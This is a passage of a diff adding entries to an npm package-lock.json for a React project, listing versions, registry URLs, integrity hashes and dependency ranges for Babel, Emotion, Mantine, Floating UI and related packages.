"node_modules/@babel/core": { + "version": "7.19.3", + "resolved": "https://registry.npmjs.org/@babel/core/-/core-7.19.3.tgz", + "integrity": "sha512-WneDJxdsjEvyKtXKsaBGbDeiyOjR5vYq4HcShxnIbG0qixpoHjI3MqeZM9NDvsojNCEBItQE4juOo/bU6e72gQ==", + "dependencies": { + "@ampproject/remapping": "^2.1.0", + "@babel/code-frame": "^7.18.6", + "@babel/generator": "^7.19.3", + "@babel/helper-compilation-targets": "^7.19.3", + "@babel/helper-module-transforms": "^7.19.0", + "@babel/helpers": "^7.19.0", + "@babel/parser": "^7.19.3", + "@babel/template": "^7.18.10", + "@babel/traverse": "^7.19.3", + "@babel/types": "^7.19.3", + "convert-source-map": "^1.7.0", + "debug": "^4.1.0", + "gensync": "^1.0.0-beta.2", + "json5": "^2.2.1", + "semver": "^6.3.0" + }, + "engines": { + "node": ">=6.9.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/babel" + } + }, + "node_modules/@babel/generator": { + "version": "7.19.3", + "resolved": "https://registry.npmjs.org/@babel/generator/-/generator-7.19.3.tgz", + "integrity": "sha512-fqVZnmp1ncvZU757UzDheKZpfPgatqY59XtW2/j/18H7u76akb8xqvjw82f+i2UKd/ksYsSick/BCLQUUtJ/qQ==", + "dependencies": { + "@babel/types": "^7.19.3", + "@jridgewell/gen-mapping": "^0.3.2", + "jsesc": "^2.5.1" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/generator/node_modules/@jridgewell/gen-mapping": { + "version": "0.3.2", + "resolved": "https://registry.npmjs.org/@jridgewell/gen-mapping/-/gen-mapping-0.3.2.tgz", + "integrity": "sha512-mh65xKQAzI6iBcFzwv28KVWSmCkdRBWoOh+bYQGW3+6OZvbbN3TqMGo5hqYxQniRcH9F2VZIoJCm4pa3BPDK/A==", + "dependencies": { + "@jridgewell/set-array": "^1.0.1", + "@jridgewell/sourcemap-codec": "^1.4.10", + "@jridgewell/trace-mapping": "^0.3.9" + }, + "engines": { + "node": ">=6.0.0" + } + }, + "node_modules/@babel/helper-annotate-as-pure": { + "version": "7.18.6", + "resolved": "https://registry.npmjs.org/@babel/helper-annotate-as-pure/-/helper-annotate-as-pure-7.18.6.tgz", + "integrity": "sha512-duORpUiYrEpzKIop6iNbjnwKLAKnJ47csTyRACyEmWj0QdUrm5aqNJGHSSEQSUAvNW0ojX0dOmK9dZduvkfeXA==", + "dev": true, + "dependencies": { + "@babel/types": "^7.18.6" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-compilation-targets": { + "version": "7.19.3", + "resolved": "https://registry.npmjs.org/@babel/helper-compilation-targets/-/helper-compilation-targets-7.19.3.tgz", + "integrity": "sha512-65ESqLGyGmLvgR0mst5AdW1FkNlj9rQsCKduzEoEPhBCDFGXvz2jW6bXFG6i0/MrV2s7hhXjjb2yAzcPuQlLwg==", + "dependencies": { + "@babel/compat-data": "^7.19.3", + "@babel/helper-validator-option": "^7.18.6", + "browserslist": "^4.21.3", + "semver": "^6.3.0" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0" + } + }, + "node_modules/@babel/helper-environment-visitor": { + "version": "7.18.9", + "resolved": "https://registry.npmjs.org/@babel/helper-environment-visitor/-/helper-environment-visitor-7.18.9.tgz", + "integrity": "sha512-3r/aACDJ3fhQ/EVgFy0hpj8oHyHpQc+LPtJoY9SzTThAsStm4Ptegq92vqKoE3vD706ZVFWITnMnxucw+S9Ipg==", + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-function-name": { + "version": "7.19.0", + "resolved": "https://registry.npmjs.org/@babel/helper-function-name/-/helper-function-name-7.19.0.tgz", + "integrity": "sha512-WAwHBINyrpqywkUH0nTnNgI5ina5TFn85HKS0pbPDfxFfhyR/aNQEn4hGi1P1JyT//I0t4OgXUlofzWILRvS5w==", + "dependencies": { + "@babel/template": "^7.18.10", + "@babel/types": "^7.19.0" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-hoist-variables": { + "version": "7.18.6", + "resolved": "https://registry.npmjs.org/@babel/helper-hoist-variables/-/helper-hoist-variables-7.18.6.tgz", + "integrity": "sha512-UlJQPkFqFULIcyW5sbzgbkxn2FKRgwWiRexcuaR8RNJRy8+LLveqPjwZV/bwrLZCN0eUHD/x8D0heK1ozuoo6Q==", + "dependencies": { + "@babel/types": "^7.18.6" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-module-imports": { + "version": "7.18.6", + "resolved": "https://registry.npmjs.org/@babel/helper-module-imports/-/helper-module-imports-7.18.6.tgz", + "integrity": "sha512-0NFvs3VkuSYbFi1x2Vd6tKrywq+z/cLeYC/RJNFrIX/30Bf5aiGYbtvGXolEktzJH8o5E5KJ3tT+nkxuuZFVlA==", + "dependencies": { + "@babel/types": "^7.18.6" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-module-transforms": { + "version": "7.19.0", + "resolved": "https://registry.npmjs.org/@babel/helper-module-transforms/-/helper-module-transforms-7.19.0.tgz", + "integrity": "sha512-3HBZ377Fe14RbLIA+ac3sY4PTgpxHVkFrESaWhoI5PuyXPBBX8+C34qblV9G89ZtycGJCmCI/Ut+VUDK4bltNQ==", + "dependencies": { + "@babel/helper-environment-visitor": "^7.18.9", + "@babel/helper-module-imports": "^7.18.6", + "@babel/helper-simple-access": "^7.18.6", + "@babel/helper-split-export-declaration": "^7.18.6", + "@babel/helper-validator-identifier": "^7.18.6", + "@babel/template": "^7.18.10", + "@babel/traverse": "^7.19.0", + "@babel/types": "^7.19.0" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-plugin-utils": { + "version": "7.19.0", + "resolved": "https://registry.npmjs.org/@babel/helper-plugin-utils/-/helper-plugin-utils-7.19.0.tgz", + "integrity": "sha512-40Ryx7I8mT+0gaNxm8JGTZFUITNqdLAgdg0hXzeVZxVD6nFsdhQvip6v8dqkRHzsz1VFpFAaOCHNn0vKBL7Czw==", + "dev": true, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-simple-access": { + "version": "7.18.6", + "resolved": "https://registry.npmjs.org/@babel/helper-simple-access/-/helper-simple-access-7.18.6.tgz", + "integrity": "sha512-iNpIgTgyAvDQpDj76POqg+YEt8fPxx3yaNBg3S30dxNKm2SWfYhD0TGrK/Eu9wHpUW63VQU894TsTg+GLbUa1g==", + "dependencies": { + "@babel/types": "^7.18.6" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-split-export-declaration": { + "version": "7.18.6", + "resolved": "https://registry.npmjs.org/@babel/helper-split-export-declaration/-/helper-split-export-declaration-7.18.6.tgz", + "integrity": "sha512-bde1etTx6ZyTmobl9LLMMQsaizFVZrquTEHOqKeQESMKo4PlObf+8+JA25ZsIpZhT/WEd39+vOdLXAFG/nELpA==", + "dependencies": { + "@babel/types": "^7.18.6" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-string-parser": { + "version": "7.18.10", + "resolved": "https://registry.npmjs.org/@babel/helper-string-parser/-/helper-string-parser-7.18.10.tgz", + "integrity": "sha512-XtIfWmeNY3i4t7t4D2t02q50HvqHybPqW2ki1kosnvWCwuCMeo81Jf0gwr85jy/neUdg5XDdeFE/80DXiO+njw==", + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-validator-identifier": { + "version": "7.19.1", + "resolved": "https://registry.npmjs.org/@babel/helper-validator-identifier/-/helper-validator-identifier-7.19.1.tgz", + "integrity": "sha512-awrNfaMtnHUr653GgGEs++LlAvW6w+DcPrOliSMXWCKo597CwL5Acf/wWdNkf/tfEQE3mjkeD1YOVZOUV/od1w==", + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-validator-option": { + "version": "7.18.6", + "resolved": "https://registry.npmjs.org/@babel/helper-validator-option/-/helper-validator-option-7.18.6.tgz", + "integrity": "sha512-XO7gESt5ouv/LRJdrVjkShckw6STTaB7l9BrpBaAHDeF5YZT+01PCwmR0SJHnkW6i8OwW/EVWRShfi4j2x+KQw==", + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helpers": { + "version": "7.19.0", + "resolved": "https://registry.npmjs.org/@babel/helpers/-/helpers-7.19.0.tgz", + "integrity": "sha512-DRBCKGwIEdqY3+rPJgG/dKfQy9+08rHIAJx8q2p+HSWP87s2HCrQmaAMMyMll2kIXKCW0cO1RdQskx15Xakftg==", + "dependencies": { + "@babel/template": "^7.18.10", + "@babel/traverse": "^7.19.0", + "@babel/types": "^7.19.0" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/highlight": { + "version": "7.18.6", + "resolved": "https://registry.npmjs.org/@babel/highlight/-/highlight-7.18.6.tgz", + "integrity": "sha512-u7stbOuYjaPezCuLj29hNW1v64M2Md2qupEKP1fHc7WdOA3DgLh37suiSrZYY7haUB7iBeQZ9P1uiRF359do3g==", + "dependencies": { + "@babel/helper-validator-identifier": "^7.18.6", + "chalk": "^2.0.0", + "js-tokens": "^4.0.0" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/parser": { + "version": "7.19.3", + "resolved": "https://registry.npmjs.org/@babel/parser/-/parser-7.19.3.tgz", + "integrity": "sha512-pJ9xOlNWHiy9+FuFP09DEAFbAn4JskgRsVcc169w2xRBC3FRGuQEwjeIMMND9L2zc0iEhO/tGv4Zq+km+hxNpQ==", + "bin": { + "parser": "bin/babel-parser.js" + }, + "engines": { + "node": ">=6.0.0" + } + }, + "node_modules/@babel/plugin-syntax-jsx": { + "version": "7.18.6", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-jsx/-/plugin-syntax-jsx-7.18.6.tgz", + "integrity": "sha512-6mmljtAedFGTWu2p/8WIORGwy+61PLgOMPOdazc7YoJ9ZCWUyFy3A6CpPkRKLKD1ToAesxX8KGEViAiLo9N+7Q==", + "dev": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.18.6" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-react-jsx": { + "version": "7.19.0", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-react-jsx/-/plugin-transform-react-jsx-7.19.0.tgz", + "integrity": "sha512-UVEvX3tXie3Szm3emi1+G63jyw1w5IcMY0FSKM+CRnKRI5Mr1YbCNgsSTwoTwKphQEG9P+QqmuRFneJPZuHNhg==", + "dev": true, + "dependencies": { + "@babel/helper-annotate-as-pure": "^7.18.6", + "@babel/helper-module-imports": "^7.18.6", + "@babel/helper-plugin-utils": "^7.19.0", + "@babel/plugin-syntax-jsx": "^7.18.6", + "@babel/types": "^7.19.0" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-react-jsx-development": { + "version": "7.18.6", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-react-jsx-development/-/plugin-transform-react-jsx-development-7.18.6.tgz", + "integrity": "sha512-SA6HEjwYFKF7WDjWcMcMGUimmw/nhNRDWxr+KaLSCrkD/LMDBvWRmHAYgE1HDeF8KUuI8OAu+RT6EOtKxSW2qA==", + "dev": true, + "dependencies": { + "@babel/plugin-transform-react-jsx": "^7.18.6" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-react-jsx-self": { + "version": "7.18.6", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-react-jsx-self/-/plugin-transform-react-jsx-self-7.18.6.tgz", + "integrity": "sha512-A0LQGx4+4Jv7u/tWzoJF7alZwnBDQd6cGLh9P+Ttk4dpiL+J5p7NSNv/9tlEFFJDq3kjxOavWmbm6t0Gk+A3Ig==", + "dev": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.18.6" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-react-jsx-source": { + "version": "7.18.6", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-react-jsx-source/-/plugin-transform-react-jsx-source-7.18.6.tgz", + "integrity": "sha512-utZmlASneDfdaMh0m/WausbjUjEdGrQJz0vFK93d7wD3xf5wBtX219+q6IlCNZeguIcxS2f/CvLZrlLSvSHQXw==", + "dev": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.18.6" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/runtime": { + "version": "7.21.0", + "resolved": "https://registry.npmjs.org/@babel/runtime/-/runtime-7.21.0.tgz", + "integrity": "sha512-xwII0//EObnq89Ji5AKYQaRYiW/nZ3llSv29d49IuxPhKbtJoLP+9QUUZ4nVragQVtaVGeZrpB+ZtG/Pdy/POw==", + "dependencies": { + "regenerator-runtime": "^0.13.11" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/template": { + "version": "7.18.10", + "resolved": "https://registry.npmjs.org/@babel/template/-/template-7.18.10.tgz", + "integrity": "sha512-TI+rCtooWHr3QJ27kJxfjutghu44DLnasDMwpDqCXVTal9RLp3RSYNh4NdBrRP2cQAoG9A8juOQl6P6oZG4JxA==", + "dependencies": { + "@babel/code-frame": "^7.18.6", + "@babel/parser": "^7.18.10", + "@babel/types": "^7.18.10" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/traverse": { + "version": "7.19.3", + "resolved": "https://registry.npmjs.org/@babel/traverse/-/traverse-7.19.3.tgz", + "integrity": "sha512-qh5yf6149zhq2sgIXmwjnsvmnNQC2iw70UFjp4olxucKrWd/dvlUsBI88VSLUsnMNF7/vnOiA+nk1+yLoCqROQ==", + "dependencies": { + "@babel/code-frame": "^7.18.6", + "@babel/generator": "^7.19.3", + "@babel/helper-environment-visitor": "^7.18.9", + "@babel/helper-function-name": "^7.19.0", + "@babel/helper-hoist-variables": "^7.18.6", + "@babel/helper-split-export-declaration": "^7.18.6", + "@babel/parser": "^7.19.3", + "@babel/types": "^7.19.3", + "debug": "^4.1.0", + "globals": "^11.1.0" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/types": { + "version": "7.19.3", + "resolved": "https://registry.npmjs.org/@babel/types/-/types-7.19.3.tgz", + "integrity": "sha512-hGCaQzIY22DJlDh9CH7NOxgKkFjBk0Cw9xDO1Xmh2151ti7wiGfQ3LauXzL4HP1fmFlTX6XjpRETTpUcv7wQLw==", + "dependencies": { + "@babel/helper-string-parser": "^7.18.10", + "@babel/helper-validator-identifier": "^7.19.1", + "to-fast-properties": "^2.0.0" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@emotion/babel-plugin": { + "version": "11.10.6", + "resolved": "https://registry.npmjs.org/@emotion/babel-plugin/-/babel-plugin-11.10.6.tgz", + "integrity": "sha512-p2dAqtVrkhSa7xz1u/m9eHYdLi+en8NowrmXeF/dKtJpU8lCWli8RUAati7NcSl0afsBott48pdnANuD0wh9QQ==", + "dependencies": { + "@babel/helper-module-imports": "^7.16.7", + "@babel/runtime": "^7.18.3", + "@emotion/hash": "^0.9.0", + "@emotion/memoize": "^0.8.0", + "@emotion/serialize": "^1.1.1", + "babel-plugin-macros": "^3.1.0", + "convert-source-map": "^1.5.0", + "escape-string-regexp": "^4.0.0", + "find-root": "^1.1.0", + "source-map": "^0.5.7", + "stylis": "4.1.3" + } + }, + "node_modules/@emotion/babel-plugin/node_modules/escape-string-regexp": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/escape-string-regexp/-/escape-string-regexp-4.0.0.tgz", + "integrity": "sha512-TtpcNJ3XAzx3Gq8sWRzJaVajRs0uVxA2YAkdb1jm2YkPz4G6egUFAyA3n5vtEIZefPk5Wa4UXbKuS5fKkJWdgA==", + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/@emotion/cache": { + "version": "11.10.5", + "resolved": "https://registry.npmjs.org/@emotion/cache/-/cache-11.10.5.tgz", + "integrity": "sha512-dGYHWyzTdmK+f2+EnIGBpkz1lKc4Zbj2KHd4cX3Wi8/OWr5pKslNjc3yABKH4adRGCvSX4VDC0i04mrrq0aiRA==", + "dependencies": { + "@emotion/memoize": "^0.8.0", + "@emotion/sheet": "^1.2.1", + "@emotion/utils": "^1.2.0", + "@emotion/weak-memoize": "^0.3.0", + "stylis": "4.1.3" + } + }, + "node_modules/@emotion/hash": { + "version": "0.9.0", + "resolved": "https://registry.npmjs.org/@emotion/hash/-/hash-0.9.0.tgz", + "integrity": "sha512-14FtKiHhy2QoPIzdTcvh//8OyBlknNs2nXRwIhG904opCby3l+9Xaf/wuPvICBF0rc1ZCNBd3nKe9cd2mecVkQ==" + }, + "node_modules/@emotion/memoize": { + "version": "0.8.0", + "resolved": "https://registry.npmjs.org/@emotion/memoize/-/memoize-0.8.0.tgz", + "integrity": "sha512-G/YwXTkv7Den9mXDO7AhLWkE3q+I92B+VqAE+dYG4NGPaHZGvt3G8Q0p9vmE+sq7rTGphUbAvmQ9YpbfMQGGlA==" + }, + "node_modules/@emotion/react": { + "version": "11.10.6", + "resolved": "https://registry.npmjs.org/@emotion/react/-/react-11.10.6.tgz", + "integrity": "sha512-6HT8jBmcSkfzO7mc+N1L9uwvOnlcGoix8Zn7srt+9ga0MjREo6lRpuVX0kzo6Jp6oTqDhREOFsygN6Ew4fEQbw==", + "dependencies": { + "@babel/runtime": "^7.18.3", + "@emotion/babel-plugin": "^11.10.6", + "@emotion/cache": "^11.10.5", + "@emotion/serialize": "^1.1.1", + "@emotion/use-insertion-effect-with-fallbacks": "^1.0.0", + "@emotion/utils": "^1.2.0", + "@emotion/weak-memoize": "^0.3.0", + "hoist-non-react-statics": "^3.3.1" + }, + "peerDependencies": { + "react": ">=16.8.0" + }, + "peerDependenciesMeta": { + "@types/react": { + "optional": true + } + } + }, + "node_modules/@emotion/serialize": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/@emotion/serialize/-/serialize-1.1.1.tgz", + "integrity": "sha512-Zl/0LFggN7+L1liljxXdsVSVlg6E/Z/olVWpfxUTxOAmi8NU7YoeWeLfi1RmnB2TATHoaWwIBRoL+FvAJiTUQA==", + "dependencies": { + "@emotion/hash": "^0.9.0", + "@emotion/memoize": "^0.8.0", + "@emotion/unitless": "^0.8.0", + "@emotion/utils": "^1.2.0", + "csstype": "^3.0.2" + } + }, + "node_modules/@emotion/sheet": { + "version": "1.2.1", + "resolved": "https://registry.npmjs.org/@emotion/sheet/-/sheet-1.2.1.tgz", + "integrity": "sha512-zxRBwl93sHMsOj4zs+OslQKg/uhF38MB+OMKoCrVuS0nyTkqnau+BM3WGEoOptg9Oz45T/aIGs1qbVAsEFo3nA==" + }, + "node_modules/@emotion/unitless": { + "version": "0.8.0", + "resolved": "https://registry.npmjs.org/@emotion/unitless/-/unitless-0.8.0.tgz", + "integrity": "sha512-VINS5vEYAscRl2ZUDiT3uMPlrFQupiKgHz5AA4bCH1miKBg4qtwkim1qPmJj/4WG6TreYMY111rEFsjupcOKHw==" + }, + "node_modules/@emotion/use-insertion-effect-with-fallbacks": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/@emotion/use-insertion-effect-with-fallbacks/-/use-insertion-effect-with-fallbacks-1.0.0.tgz", + "integrity": "sha512-1eEgUGmkaljiBnRMTdksDV1W4kUnmwgp7X9G8B++9GYwl1lUdqSndSriIrTJ0N7LQaoauY9JJ2yhiOYK5+NI4A==", + "peerDependencies": { + "react": ">=16.8.0" + } + }, + "node_modules/@emotion/utils": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/@emotion/utils/-/utils-1.2.0.tgz", + "integrity": "sha512-sn3WH53Kzpw8oQ5mgMmIzzyAaH2ZqFEbozVVBSYp538E06OSE6ytOp7pRAjNQR+Q/orwqdQYJSe2m3hCOeznkw==" + }, + "node_modules/@emotion/weak-memoize": { + "version": "0.3.0", + "resolved": "https://registry.npmjs.org/@emotion/weak-memoize/-/weak-memoize-0.3.0.tgz", + "integrity": "sha512-AHPmaAx+RYfZz0eYu6Gviiagpmiyw98ySSlQvCUhVGDRtDFe4DBS0x1bSjdF3gqUDYOczB+yYvBTtEylYSdRhg==" + }, + "node_modules/@esbuild/android-arm": { + "version": "0.15.10", + "resolved": "https://registry.npmjs.org/@esbuild/android-arm/-/android-arm-0.15.10.tgz", + "integrity": "sha512-FNONeQPy/ox+5NBkcSbYJxoXj9GWu8gVGJTVmUyoOCKQFDTrHVKgNSzChdNt0I8Aj/iKcsDf2r9BFwv+FSNUXg==", + "cpu": [ + "arm" + ], + "dev": true, + "optional": true, + "os": [ + "android" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/@esbuild/linux-loong64": { + "version": "0.15.10", + "resolved": "https://registry.npmjs.org/@esbuild/linux-loong64/-/linux-loong64-0.15.10.tgz", + "integrity": "sha512-w0Ou3Z83LOYEkwaui2M8VwIp+nLi/NA60lBLMvaJ+vXVMcsARYdEzLNE7RSm4+lSg4zq4d7fAVuzk7PNQ5JFgg==", + "cpu": [ + "loong64" + ], + "dev": true, + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/@floating-ui/core": { + "version": "1.2.2", + "resolved": "https://registry.npmjs.org/@floating-ui/core/-/core-1.2.2.tgz", + "integrity": "sha512-FaO9KVLFnxknZaGWGmNtjD2CVFuc0u4yeGEofoyXO2wgRA7fLtkngT6UB0vtWQWuhH3iMTZZ/Y89CMeyGfn8pA==" + }, + "node_modules/@floating-ui/dom": { + "version": "1.2.3", + "resolved": "https://registry.npmjs.org/@floating-ui/dom/-/dom-1.2.3.tgz", + "integrity": "sha512-lK9cZUrHSJLMVAdCvDqs6Ug8gr0wmqksYiaoj/bxj2gweRQkSuhg2/V6Jswz2KiQ0RAULbqw1oQDJIMpQ5GfGA==", + "dependencies": { + "@floating-ui/core": "^1.2.2" + } + }, + "node_modules/@floating-ui/react": { + "version": "0.19.2", + "resolved": "https://registry.npmjs.org/@floating-ui/react/-/react-0.19.2.tgz", + "integrity": "sha512-JyNk4A0Ezirq8FlXECvRtQOX/iBe5Ize0W/pLkrZjfHW9GUV7Xnq6zm6fyZuQzaHHqEnVizmvlA96e1/CkZv+w==", + "dependencies": { + "@floating-ui/react-dom": "^1.3.0", + "aria-hidden": "^1.1.3", + "tabbable": "^6.0.1" + }, + "peerDependencies": { + "react": ">=16.8.0", + "react-dom": ">=16.8.0" + } + }, + "node_modules/@floating-ui/react-dom": { + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/@floating-ui/react-dom/-/react-dom-1.3.0.tgz", + "integrity": "sha512-htwHm67Ji5E/pROEAr7f8IKFShuiCKHwUC/UY4vC3I5jiSvGFAYnSYiZO5MlGmads+QqvUkR9ANHEguGrDv72g==", + "dependencies": { + "@floating-ui/dom": "^1.2.1" + }, + "peerDependencies": { + "react": ">=16.8.0", + "react-dom": ">=16.8.0" + } + }, + "node_modules/@jridgewell/gen-mapping": { + "version": "0.1.1", + "resolved": "https://registry.npmjs.org/@jridgewell/gen-mapping/-/gen-mapping-0.1.1.tgz", + "integrity": "sha512-sQXCasFk+U8lWYEe66WxRDOE9PjVz4vSM51fTu3Hw+ClTpUSQb718772vH3pyS5pShp6lvQM7SxgIDXXXmOX7w==", + "dependencies": { + "@jridgewell/set-array": "^1.0.0", + "@jridgewell/sourcemap-codec": "^1.4.10" + }, + "engines": { + "node": ">=6.0.0" + } + }, + "node_modules/@jridgewell/resolve-uri": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/@jridgewell/resolve-uri/-/resolve-uri-3.1.0.tgz", + "integrity": "sha512-F2msla3tad+Mfht5cJq7LSXcdudKTWCVYUgw6pLFOOHSTtZlj6SWNYAp+AhuqLmWdBO2X5hPrLcu8cVP8fy28w==", + "engines": { + "node": ">=6.0.0" + } + }, + "node_modules/@jridgewell/set-array": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/@jridgewell/set-array/-/set-array-1.1.2.tgz", + "integrity": "sha512-xnkseuNADM0gt2bs+BvhO0p78Mk762YnZdsuzFV018NoG1Sj1SCQvpSqa7XUaTam5vAGasABV9qXASMKnFMwMw==", + "engines": { + "node": ">=6.0.0" + } + }, + "node_modules/@jridgewell/sourcemap-codec": { + "version": "1.4.14", + "resolved": "https://registry.npmjs.org/@jridgewell/sourcemap-codec/-/sourcemap-codec-1.4.14.tgz", + "integrity": "sha512-XPSJHWmi394fuUuzDnGz1wiKqWfo1yXecHQMRf2l6hztTO+nPru658AyDngaBe7isIxEkRsPR3FZh+s7iVa4Uw==" + }, + "node_modules/@jridgewell/trace-mapping": { + "version": "0.3.16", + "resolved": "https://registry.npmjs.org/@jridgewell/trace-mapping/-/trace-mapping-0.3.16.tgz", + "integrity": "sha512-LCQ+NeThyJ4k1W2d+vIKdxuSt9R3pQSZ4P92m7EakaYuXcVWbHuT5bjNcqLd4Rdgi6xYWYDvBJZJLZSLanjDcA==", + "dependencies": { + "@jridgewell/resolve-uri": "3.1.0", + "@jridgewell/sourcemap-codec": "1.4.14" + } + }, + "node_modules/@mantine/core": { + "version": "6.0.0", + "resolved": "https://registry.npmjs.org/@mantine/core/-/core-6.0.0.tgz", + "integrity": "sha512-ik2NUAAn9fYcqmOAluGtI9R73ijrr450dZDA+MezKq/dvpUU/Fhl9yXnGoCxxZ5XF6y4i6q07318rdrVturc9w==", + "dependencies": { + "@floating-ui/react": "^0.19.1", + "@mantine/styles": "6.0.0", + "@mantine/utils": "6.0.0", + "@radix-ui/react-scroll-area": "1.0.2", + "react-remove-scroll": "^2.5.5", + "react-textarea-autosize": "8.3.4" + }, + "peerDependencies": { + "@mantine/hooks": "6.0.0", + "react": ">=16.8.0", + "react-dom": ">=16.8.0" + } + }, + "node_modules/@mantine/hooks": { + "version": "6.0.0", + "resolved": "https://registry.npmjs.org/@mantine/hooks/-/hooks-6.0.0.tgz", + "integrity": "sha512-boszkajLaA4qvd/ebDhqZBbMuUXlvJv8EM0jTaXz09IaGPachBKG5WKpXEcwWh2qmrUQL6pyhIbLMgPnvwS0QQ==", + "peerDependencies": { + "react": ">=16.8.0" + } + }, + "node_modules/@mantine/styles": { + "version": "6.0.0", + "resolved": "https://registry.npmjs.org/@mantine/styles/-/styles-6.0.0.tgz", + "integrity": "sha512-TyqFvdKIhbhnGYBDEJ9QIPit4NzyzQ3ivDfdzeqzd/cJBxFPhxB0sEFU8RppXpXBUlbhLFhulYFEVl2pP6zaeg==", + "dependencies": { + "clsx": "1.1.1", + "csstype": "3.0.9" + }, + "peerDependencies": { + "@emotion/react": ">=11.9.0", + "react": ">=16.8.0", + "react-dom": ">=16.8.0" + } + }, + "node_modules/@mantine/styles/node_modules/csstype": { + "version": "3.0.9", + "resolved": "https://registry.npmjs.org/csstype/-/csstype-3.0.9.tgz", + "integrity": "sha512-rpw6JPxK6Rfg1zLOYCSwle2GFOOsnjmDYDaBwEcwoOg4qlsIVCN789VkBZDJAGi4T07gI4YSutR43t9Zz4Lzuw==" + }, + "node_modules/@mantine/utils": { + "version": "6.0.0", + "resolved": "https://registry.npmjs.org/@mantine/utils/-/utils-6.0.0.tgz", + "integrity": "sha512-1AalSgzINKP4uv1DBTkJe/jh6yGwC2xaCQE4Atlr2bSHiLezYFMy/deGQ8XLFFv2AL0sjvewLW4ernlFujGMZg==", + "peerDependencies": { + "react": ">=16.8.0" + } + }, + "node_modules/@nodelib/fs.scandir": { + "version": "2.1.5", + "resolved": "https://registry.npmjs.org/@nodelib/fs.scandir/-/fs.scandir-2.1.5.tgz", + "integrity": "sha512-vq24Bq3ym5HEQm2NKCr3yXDwjc7vTsEThRDnkp2DK9p1uqLR+DHurm/NOTo0KG7HYHU7eppKZj3MyqYuMBf62g==", + "dev": true, + "dependencies": { + "@nodelib/fs.stat": "2.0.5", + "run-parallel": "^1.1.9" + }, + "engines": { + "node": ">= 8" + } + }, + "node_modules/@nodelib/fs.stat": { + "version": "2.0.5", + "resolved": "https://registry.npmjs.org/@nodelib/fs.stat/-/fs.stat-2.0.5.tgz", + "integrity": "sha512-RkhPPp2zrqDAQA/2jNhnztcPAlv64XdhIp7a7454A5ovI7Bukxgt7MX7udwAu3zg1DcpPU0rz3VV1SeaqvY4+A==", + "dev": true, + "engines": { + "node": ">= 8" + } + }, + "node_modules/@nodelib/fs.walk": { + "version": "1.2.8", + "resolved": "https://registry.npmjs.org/@nodelib/fs.walk/-/fs.walk-1.2.8.tgz", + "integrity": "sha512-oGB+UxlgWcgQkgwo8GcEGwemoTFt3FIO9ababBmaGwXIoBKZ+GTy0pP185beGg7Llih/NSHSV2XAs1lnznocSg==", + "dev": true, + "dependencies": { + "@nodelib/fs.scandir": "2.1.5", + "fastq": "^1.6.0" + }, + "engines": { + "node": ">= 8" + } + }, + "node_modules/@radix-ui/number": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/@radix-ui/number/-/number-1.0.0.tgz", + "integrity": "sha512-Ofwh/1HX69ZfJRiRBMTy7rgjAzHmwe4kW9C9Y99HTRUcYLUuVT0KESFj15rPjRgKJs20GPq8Bm5aEDJ8DuA3vA==", + "dependencies": { + "@babel/runtime": "^7.13.10" + } + }, + "node_modules/@radix-ui/primitive": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/@radix-ui/primitive/-/primitive-1.0.0.tgz", + "integrity": 